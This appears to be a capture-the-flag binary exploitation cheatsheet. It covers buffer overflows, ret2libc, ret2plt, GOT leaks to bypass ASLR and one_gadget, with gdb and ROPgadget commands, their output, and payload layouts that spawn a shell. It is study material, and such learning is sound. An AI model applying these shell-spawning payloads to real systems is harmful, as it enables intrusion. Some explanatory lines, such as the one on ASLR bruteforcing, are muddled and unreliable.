

# Binary Exploitation Cheatsheet by stunn4

These cheatsheets are conceived to show a list of techniques in order to keep in mind what always to do

## Checklist

- 1. Play with the program
- 2. try format string and a lot of chars
- 3. check functions/sections in the binary
- 4. reverse the binary to understand its behavior
- 5. checksec and think about a strategy

## Misc

calling convention

description	x86_32	x64
syscall	eax - int 0x80	rax - syscall
parameters	ebx,ecx,edx,esi,edi,ebp	rdi,rsi,rdx,rcx,r8,r9

gdb stack align

```
unset env LINES
unset env COLUMNS
```

## Vanilla Buffer Overflow

Canary	: No
NX	: No
PIE	: No
Fortify	: No
RelRO	: No

A vanilla buffer overflow can be managed by using a [shellcode](#).  
You may look at [badchars](#).

## ret2libc (linux) - [https://en.wikipedia.org/wiki/Return-to-libc\\_attack](https://en.wikipedia.org/wiki/Return-to-libc_attack)

Canary	: No
NX	: Yes
PIE	: No
Fortify	: No
RelRO	: Partial

Keep in mind ASLR will randomize libc addresses.  
A 32-bit linux address can be bruteforced, so ASLR would work if ASLR is enabled too.

```
gdb -q ./tool

p system
$1 = {int (const char *)} 0xf7dfc8b0 <__libc_system>

p exit
$2 = {void (int)} 0xf7def2c0 <__GI_exit>
```

```
search-pattern /bin/sh

In '/usr/lib/i386-linux-gnu/libc-2.30.so'(0xf7f2e000-0xf7f9d000), permission=r--
0xf7f4742d - 0xf7f47434 → "/bin/sh"
```

So, your payload **should be** as follow:  
**junk** + system\_address + exit\_address + **shell\_address**

ret2plt

```
Canary           : No
NX               : Yes
PIE             : No
Fortify         : No
RelRO           : Partial
```

*ret2plt is a valid option when NX and ASLR are enabled.*  
*if you find ASLR enabled you should find either /bin/sh in the tool itself or a leak.*

```
objdump -D -j .plt tool | grep \@plt
0x0000000000401110 strncpy@plt
0x0000000000401120 strcpy@plt
0x0000000000401130 puts@plt
0x0000000000401140 strlen@plt
0x0000000000401150 __stack_chk_fail@plt
0x0000000000401160 printf@plt
0x0000000000401170 fgets@plt
0x0000000000401180 inet_pton@plt
0x0000000000401190 fflush@plt
0x00000000004011a0 execvp@plt
0x00000000004011b0 exit@plt
0x00000000004011c0 setuid@plt
0x00000000004011d0 fork@plt
0x00000000004011e0 strstr@plt
```

*your target can be execvp@plt 0x4011a0*  
`int execvp(const char *file, char *const argv[]);`

*Another thing you need is gadget*

```
ROPgadget --binary tool | grep 'pop rdi'
0x0000000000401923 : pop rdi ; ret
```

```
ROPgadget --binary tool | grep 'pop rsi'
0x0000000000401921 : pop rsi ; pop r15 ; ret
```

*and sh string (in this case sh is in the binary itself, so it is not randomize each time it runs)*

```
search-pattern sh
0x40058e - 0x400590 → "sh"
```

So your payload **should be** as follow:  
**junk** + pop\_rdi\_address + **shell\_address** + pop\_rsi\_r15 + 0x0 + 0x0 + execvp\_plt\_address

leak GOT to get libc base address

```
Canary           : No
NX               : Yes
PIE             : No
```

```
Fortify      : No
RelRO       : Partial
```

leak GOT to calculate the libc base address is a good way to bypass ASLR and NX.

the idea is to call puts@plt in order to leak a GOT address in order to get the libc base address by a simple subtraction.

get puts@plt address

```
objdump -D -j .plt bitterman | grep \@plt
0x400520 <puts@plt>
```

get puts@got address

```
objdump -M intel -d bitterman | grep puts
400520: ff 25 2a 07 20 00 jmp QWORD PTR [rip+0x20072a] # 600c50 <puts@GLIBC_2.2.5>
```

get pop rdi ; ret gadget

```
ROPgadget --binary bitterman | grep 'pop rdi ; ret'
0x400853 : pop rdi ; ret
```

to avoid ASLR effects get the main (or another) address to return after leak

```
gdb -q ./tool
p main
$1 = {int (int, char **)} 0x4006ec <main>
```

the payload that allows you to leak puts@got is as follow:

```
junk + pop_rdi + puts_got + puts_plt + main
```

now you get the address of libc puts from the libc used by the binary.

if this is a remote challenge search a [libc database](#) to find the correct version of libc.

to get, for example, the system@libc:

```
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1425: 0x554e0 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
```

```
libc_base_address = puts_got - puts_libc
libc_system = p64(0x554e0 + libc_base_address)
```

you can reuse this logic to get '/bin/sh' string from the same libc

the payload then will work as follow:

```
junk + pop_rdi + shell_libc + system_libc
```

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## one gadget

in some scenarios I tried to exploit a binary using a leak but that didn't work so can be a good idea to try one gadget. (see [SiXes](#))

after you get the libc base address you can try to see the constraints of your libc.

```
one_gadget /lib/x86_64-linux-gnu/libc.so.6
```

```
0xc84da execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc84dd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
```

```
[rdx] == NULL || rdx == NULL

0xc84e0 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0xe664b execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
```

*the best condition that you can exploit is the last one.*

```
one_gadget = p64(libc_base_address + 0xe664b)
```

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